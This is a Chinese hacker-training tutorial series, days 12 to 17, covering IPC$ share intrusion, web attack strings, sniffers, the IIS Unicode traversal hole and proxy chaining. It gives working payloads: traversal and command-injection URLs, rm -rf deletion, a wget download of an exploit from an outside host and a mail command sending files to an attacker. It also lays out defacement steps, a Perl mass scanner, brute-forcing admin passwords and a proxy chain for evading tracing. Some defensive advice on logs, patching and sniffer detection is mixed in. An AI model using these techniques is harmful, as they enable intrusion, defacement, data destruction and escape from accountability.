30天打造专业红客 『第12天』从ipc$ 连接失败讲起
我们最好先来看一下什么是ipc¥连接。ipc(internet process connection)是远程网络连接。而ipc$,admin$,c$,d$,e$这些则是winnt和win2000的默认共享。ipc$就是一种管道通讯,它在两个ip间建立一个连接。我们一般看到对方主机开了139,445,我们一般就说对方开了共享。就可以尝试用ipc¥连接,具体怎么样你应该没问题了吧。(这种功能只在winnt和win2000种才有,windows98是没有的。 )
很多朋友对ipc¥连接的概念很混淆,我在这里罗嗦几句,ipc¥连接分为ipc$空连接和带有一定权限ipc$连接,这两者可是大大的不一样,许多朋友在建立了空连接之后,就着急的想copy工具上去,这是肯定会报错的,其实这也是很多朋友经常碰到的问题。因为这是空连接,没有任何的权限(就好像匿名访问一样),除了可以得到远程主机的netbios信息外,什么命令都执行不了而可以复制文件是你获得了一定的权限后,比如说你得到一个管理员密码是空口令,也就是带有一定权限的ipc$连接,空连接只是简单的和远程主机建立了一个通讯的管道。是不是什么用都没有呢?当然不是了,我们可以用暴力破解的方法来得到管理员的密码,就是挂上字典不断地进行对ipc$空连接的试探,从而达到取得管理员密码的目的,什么好用你就用什么。到这里我已经对ipc¥空连接和带有一定权限ipc$连接有了一个比较清楚的了解。 很多朋友可能会说说了半天也没到重点。别急嘛,就是作为个知识理解也很好嘛
现在我们分析一下会有那些错误
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码
我们现在已经了解了ipc$失败的原因,我们知道稍微有一点安全意识的网络管理员都会关闭掉共享,不会给你机会用简单的ipc$连接进入他的机子,当然也不排除了哈^_^,而如果他屏蔽掉了ipc$共享并且开了很少的服务(或者根本禁止了许多可以利用的服务),就算你通过某种方法比如说溢出***,得到了权限,进入了系统,这时你添加一个账号也没什么意义。想用ipc$连接上传工具,却发现连续的报错,错误1326和错误67比较简单,容易对付。如果碰到对方开了防火墙,也就是(错误67),远程连接不上,我们怎么办呢?这里提供几种办法,
1、杀掉远程主机中的防火墙,如果对方安装了resouce kit 那么我们就可以用tlist 和kill 两个命令来找到并且杀掉防火墙的进程。
2、利用tftp。并不是说有的管理员都安装了resouce kit,那我们怎么办呢?我们知道2000是自带的tftp,我们可以用tftp来上传工具,如tlist 、kill等等,然后关闭防火墙和杀毒软件
3、利用自己的ftp。我们还可以自己驾一个ftp服务器,然后用远程的计算机反过来ftp我们自己的机子,达到上传工具的目的。然后杀掉进程...(其实已经没必要了)剩下的就随你的便了。
上面的几种解决办法也只是假设,因为一般的管理员都会想办法禁止windows自带tftp客户端的使用,(具体参阅这篇帖子:http://www.91one.net/dvbbs/dispbbs.asp?boardid=17&id=1428)这样给我们就有点麻烦。但有时候还是有用的哦
 
 
    30天打造专业红客 [第13天]80端口***总结
我将描述每种***的作用,和其怎样利用这些漏洞进行***(注意host的意思你应该懂吧)
(1)'.' '..' 和 '...' 请求
这些***痕迹是非常普遍的用于web应用程序和web服务器,它用于允许***者或者蠕虫病毒程序改变web服务器的路径,获得访问非公开的区域。大多数的CGI程序漏洞含有这些'..'请求。
Example:
http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
这个列子展示了***者请求mosd这个文件,如果***者有能力突破web服务器根目录,那么可以获得更多的信息,并进一步的获得特权。
(2)'%20' 请求
%20是表示空格的16进制数值,虽然这个并不代表你能够利用什么,但是在你浏览日志的时候会发现它,一些web服务器上运行的应用程序中这个字符可能会被有效的执行,所以,你应该仔细的查看日志。另一方面,这个请求有时可以帮助执行一些命令。
Example:
http://host/cgi-bin/lame.cgi?page=ls%20-al|
这个列子展示了***者执行了一个unix的命令,列出请求的整个目录的文件,导致***者访问你系统中重要的文件,帮助他进一步取得特权提供条件。
(3)'%00' 请求
%00表示16进制的空字节,他能够用于愚弄web应用程序,并请求不同类型的文件。
Examples:
http://host/cgi-bin/lame.cgi?page=index.html
这可能是个有效的请求在这个机子上,如果***者注意到这个请求动作成功,他会进一步寻找这个cgi程序的问题。
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
也许这个cgi程序不接受这个请求,原因在于它要检查这个请求文件的后缀名,如:html.shtml或者其他类型的文件。大多数的程序会告诉你所请求的文件类型无效,这个时候它会告诉***者请求的文件必须是一某个字符后缀的文件类型,这样,***者可以获得系统的路径,文件名,导致在你的系统获得更多的敏感信息
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html
注意这个请求,它将骗取cgi程序认为这个文件是个确定的可接受的文件类型,一些应用程序由于愚蠢的检查有效的请求文件,这是我们常用的方法。
(4)'|' 请求
这是个管道字符,在unix系统用于帮助在一个请求中同时执行多个系统命令。
Example:
# cat access_log| grep -i '..'
(这个命令将显示日志中的“..“请求,常用于发现我们和蠕虫***)
常可以看到有很多web应用程序用这个字符,这也导致IDS日志中错误的报警。
在你的程序仔细的检查中,这样是有好处的,可以降低错误的警报在***检测系统中。
下面给出一些列子:
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|
这个请求命令执行,下面是一些变化的列子
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|
这个请求在unix系统中列出/etc目录的所有文件
http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20'lame'
这个请求cat命令的执行并且grep命令也将执行,查询出”lame'
(5)';' 请求
在unix系统,这个字符允许多个命令在一行执行
Example:
# id;uname -a
(执行id命令后,紧跟着执行uname命令)
一些web程序用这个字符,可能导致在IDS日志中失败的警告,应该仔细的检查web程序,让IDS警报失败的几率降低
(6)'<' 和 '>' 请求
应该检查你的日志记录中这两个字符,众多的原因中,首要的一个是这个字符表明了添加数据在文件中
Example 1:
# echo 'your hax0red h0 h0' >> /etc/motd (请求写信息在motd这个文件中)
一个***者可以容易的用象上面的这个请求篡改你的web页面。比如著名的RDS exploit常被***者用于更改web主页面。
Example 2:
http://host/something.php=Hi%20mom%20Im%20Bold!
你会注意到这里html语言的标志,同样用了“〈”,“〉”字符,这种***不能导致***者对系统进行访问,它迷惑人们认为这是个合法的信息在web站点中(导致人们在访问这个联结的时候访问到***者设定的地址,这种请求可能会被转变成16进制的编码字符形式,使***的痕迹不那么明显)
(7)'!'请求
这种字符请求常用语对SS(Server Side Include) I进行***,如果***者迷惑用户点击被***者设定的联结,和上面的一样。
Example:
http://host1/something.php=
这个列子是***者可能会做的,它让一个host2站点上的文件看起来是来自于 host1上面的(当然,需要访问者访问这个被***者设定的联结。这种请求可能被转化成16进制的编码伪装,不易发现)
同时,这种方式也可以以web站点的权限执行命令
Example:
http://host/something.php=
这个列子在远程的系统上执行“id'的命令,它将显示这个web站点用户的id,通常是”nobody'或者“www'
这种形式也允许包含隐藏文件。
Example:
http://host/something.php=
这个隐藏文件.htpasswd不会被显示出来,Apache建立的规则会拒绝这种以.ht 形式的请求,而SSI标志会绕过这种限制,并导致安全问题
(8)' 这种***用于试图在远程的web应用程序中插入PHP程序,它可能允许执行命令,这取决于服务器的设置,和其他起作用的一些因素(比如php设置为安全模式)
Example: http://host/something.php=
在某些简单的php应用程序中,它可能会在远程系统上以web站点用户的权限执行本地命令
(9)'`' 请求
这种字符后面常用在perl中执行命令,这个字符在web应用程序中不是经常的使用,所以,如果看到它在你的日志中,应该非常小心
Example:
http://host/something.cgi=`id`
一个perl写的有问题的cgi程序,会导致执行id命令
下面是针对管理员说的,因为现在很多网管都在看这个,所以我觉得有必要写一点,当然也是让你知道你的对手有哪些着数了,呵呵.我只是罗列了一些***后的痕迹,当然不能罗列所有了
'/bin/ls'
这个命令请求整个路径,在很多的web应用程序中都有这个漏洞,如果你在日志中很多地方都看到这种请求,很大的可能性是存在远程执行命令漏洞,但并不一定是个问题,也可能是个错误的警报。再一次提醒,写好的web应用程序(cgi,asp,php...etc)是安全的基础
Example:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?doh=ls%20-al;
'cmd.exe'
这是一个windows的shell,一个***者如果访问并运行这个脚本,在服务器设置允许的条件下可以在windows机器上做任何事情,很多的蠕虫病毒就是通过80端口,传播到远程的机器上
http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:
'/bin/id'
这是个2进制的文件,它的问题和/bin/ls一样,如果你在日志中很多地方都看到这种请求,很大的可能性是存在远程执行命令漏洞,但并不一定是个问题,也可能是个错误的警报。
它将显示属于哪个用户和属于哪个组
Example:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
http://host/cgi-bin/bad.cgi?doh=id;
'/bin/rm'
这个命令可以删除文件,如果不正确的使用是非常危险的
Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|
http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;
'wget and tftp' 命令
这些命令常被***者用来下载可能进一步获得特权的文件,wget是unix下的命令,可能被用来下载后门程序,tftp是unix和nt下的命令,用来下载文件。一些IIS蠕虫通过tftp来复制自身传播病毒到其他的主机
Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;
'cat' 命令
这个命令用来查看文件内容,常用来读重要的信息,比如配置文件,密码文件,信用卡文件和你能够想到的文件
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd| http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;
'echo' 命令
这个命令常用于写数据到文件中,比如“index.html”
Examples: >%200day.txt">http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20'fc-#kiwis%20was%20here'%20>>%200day.txt| >%200day.txt">http://host/cgi-bin/bad.cgi?doh=echo%20'fc-#kiwis%20was%20here'%20>>%200day.txt;
'ps' 命令
列出当前运行的进程,告诉***者远程主机运行了那些软件,以便从中得到一些安全问题的主意,获得进一步的权限
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux| http://host/cgi-bin/bad.cgi?doh=ps%20-aux;
'kill and killall' 命令
在unix系统这个命令用于杀掉进程,一个***者可以用这个命令来停止系统服务和程序,同时可以擦掉***者的痕迹,一些exploit会产生很多的子进程
Examples: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200| http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;
'uname' 命令
这个命令告诉***者远程机器的名字,一些时候,通过这个命令知道web站点位于哪个isp,也许是***者曾今访问过的。通常uname -a来请求,这些都将记录在日志文件中
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a| http://host/cgi-bin/bad.cgi?doh=uname%20-a;
'cc, gcc, perl, python, etc...' 编译/解释命令
***者通过wget或者tftp下载exploit,并用cc,gcc这样的编译程序进行编译成可执行程序,进一步获得特权
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;
如果你查看日志中发现有“perl” python”这些说明可能***者下载远程的perl ,python脚本程序,并试图本地获得特权
'mail' 命令
***者通常用这个命令将系统的一些重要文件发到***者自己的信箱,也肯能是进行邮件×××的***
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@****cnhonker.org%20<
 
 
    30天打造专业红客 『第14天』sniffer,今天开始说它了
sniffers(嗅探器)几乎和internet有一样久的历史了.他们是最早的一个允许系统管理员分析网络和查明哪里有错误发生的工具.但是这个工具也给我们带来很大的方便。今天我们看2个问题:1。什么是sniffer 2。如何防止sniffer的监听。似乎是矛盾的哦,呵呵,要2个方面都知道才能百战百胜嘛
什嘛是sniffer (抄定义的)
在单选性网络中, 以太网结构广播至网路上所有的机器, 但是只有预定接受信息包的那台计算机才会响应. 不过网路上其他的计算机同样会"看到"这个信息包,但是如果他们不是预定的接受者,他们会排除这个信息包. 当一台计算机上运行着sniffer的时候并且网络处于监听所有信息交通的状态, 那么这台计算机就有能力浏览所有的在网络上通过的信息包.(这个当然很爽了)
那你就有个问题谁使用这个呢?lan/wan 管理员使用sniffers来分析网络信息交通并且找出网络上何处发生问题.一个安全管理员可以同时用多种sniffers, 将它们放置在网络的各处,形成一个***警报系统.对于系统管理员来说sniffers是一个非常好的工具,当然还有我们大家了。那常见的sniffers 有哪些呢?很多,我常用的有Sniffer Pro。当然看一些文章介绍了snoop,但注意这是在UNIX下的,我没怎么用 过 ,所以就不说这个了。至于其他一些好用的,我想你学到现在了应该可以自己找了(上GOOGLE 或是BAIDU都可以,不然去www.yahoo.com也不错的)。
那怎么防止sniffer的监听?
显而易见的,保护网络不受sniffer监听的方法就是不要让它们进入. 如果一个人不能通过你的系统进入的话,那么他们无法安装sniffers.当有人看上一个大多数网络通讯流通的中心区域(防火墙或是代理服务器)时,他们便确定这是他们的***目标并将被监视.一些可能的"受害者"在服务器的旁边,这时候个人信息将被截获(可能是各种信息甚至是密码)
一个好的方式来保护你的网络不受sniffer监视是将网络用以太网接线器代替普通的集线器分成尽可能多的段.接线器可以分割你的网络通讯并防止每一个系统"看到"每个信息包.坏处是这种东西太贵了,这个还是很重要的
另一个方法是,和那种接线器比就是加密术.Sniffer依然可以监视到信息的传送,但是显示的是乱码.但这个有问题就是网络会延迟,当然还有速度问题和使用一个弱加密术比较容易被攻破。
用一些软件也可以帮助你查出是不是有人在监视你,比如AntiSniff(很小的,但可以扫描你的网路并测试一台计算机是否运行在混杂模式(监听网路上每个数据包)什么意思?你看看上面的类容吧),下载:http://www.pdasky.com.cn/down.asp?id=2876&no=1
 
 
    30天打造专业红客 『第15天』网络监听技术分析 纯属理论
今天我们先说几个基本概念.首先,我们知道,一台接在以太网内的计算机为了和其他主机进行通讯,在硬件上是需要网卡,在软件上是需要网卡驱动程序的。而每块网卡在出厂时都有一个唯一的不与世界上任何一块网卡重复的硬件地址,称为mac地址。同时,当网络中两台主机在实现tcp/ip通讯时,网卡还必须绑定一个唯一的ip地址.
对我们来说,浏览网页,收发邮件等都是很平常,很简便的工作,其实在后台这些工作是依*tcp/ip协议族实现的,大家知道有两个主要的网络体系:OSI参考模型和TCP/IP参考模型,OSI模型即为通常说的7层协议,它由下向上分别为物理层、数据链路层、网络层、传输层、会话层、表示层、应用层,而tcp/ip模型中去掉了会话层和表示层后,由剩下的5层构成了互联网的基础,在网络的后台默默的工作着。
当局域网内(因为我们最常见的就是局域网)的主机都通过HUB等方式连接时,一般都称为共享式的连接(就是大家长说的共享),这种共享式的连接有一个很明显的特点:就是HUB会将接收到的所有数据向HUB上的每个端口转发,也就是说当主机根据mac地址进行数据包发送时,尽管发送端主机告知了目标主机的地址,但这并不意味着在一个网络内的其他主机听不到发送端和接收端之间的通讯,只是在正常状况下其他主机会忽略这些通讯报文而已!如果这些主机不愿意忽略这些报文,网卡被设置为promiscuous状态的话,那么,对于这台主机的网络接口而言,任何在这个局域网内传输的信息都是可以被听到的。如果网卡被设置为为混杂模式(promiscuous),主机将会默不作声的听到以太网内传输的所有信息,也就是说:窃听也就因此实现了!
对发生在局域网的其他主机上的监听,一直以来,都缺乏很好的检测方法。这是由于产生网络监听行为的主机在工作时总是不做声的收集数据包,几乎不会主动发出任何信息。但可惜的有些大虾们就爱动脑筋啊,现在已经有些方法了
1:反应时间
向怀疑有网络监听行为的网络发送大量垃圾数据包,根据各个主机回应的情况进行判断,正常的系统回应的时间应该没有太明显的变化,而处于混杂模式的系统由于对大量的垃圾信息照单全收,所以很有可能回应时间会发生较大的变化。这个方法很好,但有时候也没用因为大家没经验嘛
2:观测dns
许多的网络×××都会尝试进行地址反向解析,在怀疑有网络监听发生时可以在dns系统上观测有没有明显增多的解析请求。没DNS的或者不能接触的就有点郁闷了
3:利用ping模式进行监测
这个方法我不怎么知道,看了一些文章就COPY了一下,有点头晕,但应该能看懂:假设我们怀疑的主机的硬件地址是00:30:6E:00:9B:B9,它的ip地址是192.168.1.1,那么我们现在伪造出这样的一种icmp数据包:硬件地址是不与局域网内任何一台主机相同的00:30:6E:00:9B:9B,目的地址是192.168.1.1不变,我们可以设想一下这种数据包在局域网内传输会发生什么现象:任何正常的主机会检查这个数据包,比较数据包的硬件地址,和自己的不同,于是不会理会这个数据包,而处于网络监听模式的主机呢?由于它的网卡现在是在混杂模式的,所以它不会去对比这个数据包的硬件地址,而是将这个数据包直接传到上层,上层检查数据包的ip地址,符合自己的ip,于是会对对这个ping的包做出回应。这样,一台处于网络监听模式的主机就被发现了。
4:利用arp数据包进行监测
这个方法和上面的差不多,它使用arp数据包替代了上述的icmp数据包而已,向局域网内的主机发送非广播方式的arp包,如果局域网内的某个主机响应了这个arp请求,那 么我们就可以判断它很可能就是处于网络监听模式了,这是目前相对而言比较好的监测模式。
(什么叫ARP?就说ARP协议,它是Address Resolution Protocol”(地址解析协议)的缩写,在局域网中,网络中实际传输的是“帧”,帧里面是有目标主机的MAC地址的.所谓“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。)
昨天有些朋友说找不到一些网络监听的工具,你在www.google.com搜sniffer tools有很多的.
我就列举一些了
Windows平台下的:
Windump http://www.xfocus.net/tools/200108/238.html
相关介绍:http://security.zz.ha.cn/windump.html
注意这个是在NT下用的98就别用了,说到这想说一局如果你的系统是98或是ME的,最好换一个,因为好多很好的软件都要求是NT的
UNIX下:
Sniffithttp://www.programsalon.com/download.asp?type_id=53  第6个
该软件的安装介绍:http://www.xfocus.net/articles/200001/28.html
 
 
    30天打造专业红客 [第16天]IIS5 UNICODE 编码漏洞
unicode 漏洞是最容易让***者得手的一个漏洞,可以不费吹灰之力将主页改掉,重则删除
硬盘上的数据,高手甚至获取administrator 权限!
漏洞自大前年年10 月份公布至今,居然国内还有这么多的服务器存在着该漏洞
下面我从一般的***手法分析如何做相应的防护对策.
(一)unicode 漏洞的原理
有关漏洞的原理网上已经有很多相关的文章了,我不打算详细说,还是简单的来了解了解
好了!
实际上就是UNICODE 编码存在BUG,在UNICODE 编码中
%c1%1c -〉(0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉(0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
在NT4 中/编码为%c1%9c .在英文版里:WIN2000 英文版%c0%af
该漏洞是利用扩展UNICODE 字符取代"/"和"\"而能利用"../"目录遍历,故在一台有
unicode 漏洞的服务器ip 后边加上/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\就可
以看到主机上c 盘的所有文件及目录.
(二)unicode 漏洞的危害
未经授权的用户可能利用IUSR_machinename 账号的上下文空间访问任何已知的文件。
该账号在默认情况下属于Everyone 和Users 组的成员,因此任何与Web 根目录在同一逻辑
驱动器上的能被这些用户组访问的文件都能被删除,修改或执行,就如同一个用户成功登陆
所能完成的一样。
以上部分内容摘自绿盟!
(三)unicode 漏洞的***手法
1、利用漏洞修改主页
这可能是新手们最兴奋的事情了!每当他们成功地黑掉一个网页后都有一股极大的满足
感.然而黑网页也是最简单的事情。
手段描述一:***者先用扫描工具扫到有漏洞的主机后,在IE 的地址栏里输入http://主机
的ip/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\就可以看到主机上c 盘的所有文件
了.要查主页放在什么地方的话,可以将后边的dir+c:\换成set ,从返回的错误信息中找到
PATH_TRANSLATED=c:\inetpub\wwwroot 这一句(具体的路径根据具体的情况而定).其中的
c:\inetpub\wwwroot 就是主页所在的地方!接着***者为了避免系统对特殊字符的检测,故将
本地机器的CMD.EXE 程序复制到主机的c:\inetpub\scripts 目录中,这样干起活来就容易多了!
他们查到主页的名字后,就可以利用echo 命令来写入信息,将内容覆盖掉主页文件就把主页
给黑了。
手段描述二:除了上面的土方法外,***者可以将有声有色的黑页替换主页,这样黑得不是
更爽吗?来看看他们是如何做到的。
先在本地硬盘建立个共享文件夹(如gale),把黑页复制进去。照样把cmd.exe 拷贝到目标
的c:\inetpub\scripts 下,名字为gale.exe,映射本地的gale 目录为目标的一个盘(如q:)
把q:里的复制到目标主机的网页目录去。覆盖对方的网页文件,最后断开映射就可以了.
这是利用本地共享目录和映射硬盘的方法替换黑页,如果黑页有背景又有音乐,文件很大,上
传费事,怎么完美一点呢?请看下边。
手段描述三:这种方法也是红客们黑美国、日本的时候最常用的手法。
***者先申请一个免费空间,把做好的黑页上传上去,然后利用echo 命令在目标主机
上建立一个文本文件,写上几行命令,如下:
目标主机ip/scripts/gale.exe?/c+echo+open+你黑页所在的免费空间ip>文本文件名.txt
目标主机ip/gale.exe?/c+echo+你在黑页空间上的帐户>>文本文件名.txt
目标主机ip/gale.exe?/c+echo+密码>>文本文件名.txt
目标主机ip/gale.exe?/c+echo+get+index.htm>>文本文件名.txt
目标主机ip/gale.exe?/c+echo+bye>>文本文件名.txt
目标主机ip/gale.exe?/c+ftp+-s:文本文件名.txt
这样***者就可以将黑页从另外一个空间下载到目标主机上,copy 过去覆盖就可以了。
这样***者不受地方的限制,随便什么地方了,比如网吧。
(四)unicode 漏洞的防护措施
说了那么多,现在该转入正题了,下面我来说说防范的措施,这也是从***中总结出来
的一些措施,希望对大家有帮助。
1、打上最新补丁
作为一个网络管理员,为了服务器的安全,需要不停的打上最新补丁,这是比较有效的
方法。但你要记住:在网络上,没有绝对的安全的,道高一尺,魔高一丈,完全相信防火墙和系
统补丁往往是很愚蠢的。
2、冷酷到底,拒人于千里之外
相信到现在还利用unicode 漏洞***的人都是些新手傻瓜们!他们没有确定的***目标,
只是抓个扫描器来乱扫一通,扫到就黑,扫不到就哭的那种。对付扫描器扫出未知的漏洞,
这是管理员的聪明之处。如何躲过扫描器的眼睛呢?请先看看下面一个用perl 写的扫描器代
码吧:
#!/usr/bin/perl
#Root Shell Hackers
#piffy
#this is a quick scanner i threw together while supposedly doing homework in my room.
#it will go through a list of sites and check if it gives a directory listing for the new IIS hole
#it checks for both %c0%af and %c1%9c (其他版本的请修改这样的字符)
#perhaps a public script to do some evil stuff with this exploit later... h0h0h0
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the hole =]
use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
my $def = new LWP::UserAgent;
my @host;
print "root shell hackers\n";
print "iis cmd hole scanner\n";
print "coded by piffy\n";
print "\nWhat file contains the hosts: ";
chop (my $hosts=);
open(IN, $hosts) || die "\nCould not open $hosts: $!";
while ()
{
$host[$a] = $_;
chomp $host[$a];
$a++;
$b++;
}
close(IN);
$a = 0;
print "ph34r, scan started";
while ($a < $b)
{
my $url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ ";
my $request = new HTTP::Request('GET', $url);
my $response = $def->request($request);
if ($response->is_success) {
print $response->content;
open(OUT, ">>scaniis.log");
print OUT "\n$host[$a] : $response->content";
-close OUT;
} else {
print $response->error_as_HTML;
}
&second()
}
sub second() {
my $url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ ";
my $request = new HTTP::Request('GET', $url2);
my $response = $def->request($request);
if ($response->is_success) {
print $response->content;
open(OUT, ">>scaniis.log");
print OUT "\n$host[$a] : $response->content";
-close OUT;
} else {
print $response->error_as_HTML;
}
$a++;
}
代码摘自绿盟。
不知道大家注意到上面长长的两行$url 和$url2 了没有,其实只是简单的字符串处理而
已。于是有以下几种方法避过扫描器的扫描:
①更改winnt 目录名
安装winnt 或者win2000 时,缺省目录是c:\winnt.可以把这个目录名改成别的目录名,
这样扫描器递交"http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\"类似的
url 时就会返回"找不到该页"的信息。这样大部分扫描器就成失灵了。(不知道小榕的流光能
不能躲得过,但大部分的用perl 写的扫描器经这样改了之后都不起作用了)。
安装前就可以这样,但是已经安装了,确实不想改winnt/2000 的目录怎么办呢?那好,可以
看看下边的:
②更改cmd.exe 和各常用命令的名称
更改cmd.exe 的名称也可以达到同样的效果,而且更加可*,假如你只更改winnt/win2000
所在的目录名的话,别人猜对后仍然可以黑掉你。同时把一些不常用的而且有危害的命令改
成只有你知道的名字,①和②结合的话更完美!
③改变web 目录位置
通常主页所在的位置是在C:\InetPub\wwwroot 里。在c:\inetpub 里有scripts 之类的目录。
如果你不需要他们的话,你可以把web 目录转移到别的分区,比如e:\netroot 然后把C:\inetpub
整个删除掉.日本有一台主机就做的比较好,它的机器明明存在有unicode 漏洞,但将web 目录
转移到d 盘,并且d 盘是不可写的,有位新手在QQ 上向我抱怨说:"老大!你说的方法不行呀,
我黑不了!呜呜呜~~",哈!象这样,一般的人就难以修改主页了,(注意:这只能防止一般的人,高
手只要动动脑筋,照样能黑掉!).
④停止不必要的服务
在internet 服务器中,为了系统的安全,您必须停掉所有的缺省web 目录的服务。然后统统
删掉,只保留你所要的,以免招来后患.
⑤改变服务的端口号
在保证不影响访问率的情况下,我们可以把web 服务的端口由80 改成别的,比如108。
因为很多还是利用unicode 漏洞***的人一般都是新手,他们都是拿一个扫描工具扫一个ip
段的,这样做就可以躲避那种扫描一段网段的***者的扫描了。(注意:此方法只能防止这种方
式的扫描,别有用心的***者照样可以通过修改扫描器的插件来实行扫描的.但受***的可能
性已经减低.)
3、限制iusr_server 的权限
上面所说的措施是把***者拒绝于门外,如果真的很不幸,给***者找到门上来了,那
不是死定了?不一定!***者利用UNICODE 漏洞遍历目录时的用户权限是决定于
iusr_server 的权限的,而通常iusr_server 是属于guest 组的。我们只要进一步限制iusr_server
的权限还有可能挽回(对于高手们就不一定这么说了)。
建议如下:采用NTFS 格式的文件系统,将web 目录外所有的访问权限设置为:用户
iusr_server 不可访问!注意:不要给iusr_server 对web 目录有写权限!理由是什么大家都很
清楚!你的主页就是给这样的家伙给黑的,如果他没有写的权限,就象那台日本的主机一样,
一般的新手们就难以下手了。(但是,那些确实是非写不可的地方,如:聊天室或论坛,是
可以适当放开的)。
4、偷吃成功,寻找蛛丝马迹
这就是分析访问日志,一名合格的管理员,应该有经常查看日志的好习惯.日志是非常的
多的,看起来很麻烦,但对于unicode 漏洞的***,只要查看分析web 服务的访问日志就可以
了。扫描器的扫描和已经***完了的动作都会被记录下来,要注意特别留意出现的"cmd.exe"
字眼。
最后,我建议:
①管理好你的admin 帐户和密码
因为现在的***新手们虽然是冲着unicode 漏洞而来,但他们的师父们往往推荐他们用小
榕的流光,这是一个强大的漏洞扫描工具.在扫描的过程中,脆弱的管理员帐户和密码(如:帐
户:admin 密码:1234)很容易被猜中,给他们带来了以外的收获.无论怎么强大,流光也是*黑
客字典来暴力破解的,只要你密码复杂就可以避免猜中.长度最好超过8 位,大小写和复杂字符
同时出现,如:g&A$l#e7 这样的密码就很难被猜中,当然,也许我这是废话。现在出现弱口令的机会是不多了
②经常更改管理员的密码
保证只有你自己一个用户出现在管理员组,经常检查有没有可疑的用户。一般的新手都是
学着别人教的招数,在管理员组里增加一个用户,留作后门.从***的角度来说,这是很危险的
做法,但作为管理员不可能没有发现的,(那要看管理员的素质如何了)。
 
 
    30天打造专业红客 [第17天]跳板的故事
跳板,这里的不是指跳水的扳子(废话),我想大家多跳板都应该有个基本的认识:就是通过这个东西跳过什么东西,掩盖什么东西。就是隐藏你的足迹,想要找出你,就必须连接x个你所通过的机器,并且找出他们的log,如果碰巧有一个没有记录,线就断了:),即使都记录了,log里面登记的IP也是上一级跳板主机的IP…
当然跳板还可以用于:
.QQ或者ICQ
. ftp客户端
. mail客户端
. telnet客户端
. 端口扫描器
. (以及几乎所有在网络中所使用的工具)
想想如果不要跳板我们不是很危险吗?
这可能不适用于某些IRC服务器,因为它们常常查看打开着的wingates及proxies。
先说简单的windows下的sock代理怎么做
一.找一些运行wingate的主机
原因:因为wingates的默认安装打开端口1080并且不记录socks连接。
怎么找这些机子呢?你可以用‘代理猎手’,好象中国人都用这个,国外人好象喜欢用wingatescan,或是从这里可以找到最新的:http://www.cyberarmy.com/lists/wingate(国外的,我建议大家用国外的,因为追查有难度啊)
二.确认列表中的主机的确运行着wingate
三.安装一个能截取发送的信息包的软件
我使用的是一个叫purpose的工具,你可以从
http://www.buffy.nu/article.php3?id_article=3043
要设置它,只要在socks server填上: 127.0.0.1  port  8000.
选择'socks  version  5'.再点击'resolve  all  names  remotely'.
不要选'supported authentication'。
在主界面,选择new然后建立一个你希望socks支持的程序的快捷方式
对所有你想匿名的程序做同样的工作,至于有哪些你就自己想了
四.安装socks chainer
http://www.ufasoft.com/socks下载该工具
在service菜单, 点击new。在name段输入Chain,port则输入8000。
点击new 并且将你找到最快的wingates的IP填进去,端口则填1080。
使用 '<' 和 '>',  你可以添加或者移除socks. 记得一定要在使用前测试所有的socks.
五.测试你的设置
用你所建立的浏览器的快捷方式打开浏览器,连接到
http://cavency.virtualave.net/cgi-bin/env.cgi或者
http://internet.junkbuster.com/cgi-bin/show-http-headers
同样,打开你的telnet客户端并尝试telnet到
ftp.cztc.edu.cn
你可以通过https://sites.inka.de:8001/cgi-bin/pyca/browser-check.py来检测SSL或者
FTP到ftp.zedz.net——或者其它的FTP来验证你的IP。
在上面的测试中,远程主机上留下的将是你最后一个chain的IP地址。当然你可以在自己的
网络里进行测试……
再说说另一种吧SkSockServer“(下面称SSS)
这个与上面的利用著名的wingate做的有什么区别?
